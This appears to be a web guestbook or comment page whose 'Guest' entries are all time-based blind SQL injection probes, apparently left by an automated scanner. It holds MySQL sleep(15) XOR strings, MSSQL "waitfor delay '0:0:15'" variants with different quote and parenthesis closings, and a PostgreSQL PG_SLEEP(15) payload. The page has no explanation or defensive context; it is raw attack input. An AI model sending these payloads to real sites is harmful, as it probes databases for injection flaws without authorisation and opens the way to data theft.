Guest:
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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
1
-1; waitfor delay '0:0:15' --

Guest:
1
-1); waitfor delay '0:0:15' --

Guest:
1
-1 waitfor delay '0:0:15' --

Guest:
1
x15MOFcd'; waitfor delay '0:0:15' --

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1
riqlDVjV'); waitfor delay '0:0:15' --

Guest:
1
BwWRYTU9')); waitfor delay '0:0:15' --

Guest:
1
Koo0J1Ob' OR 833=(SELECT 833 FROM PG_SLEEP(15))--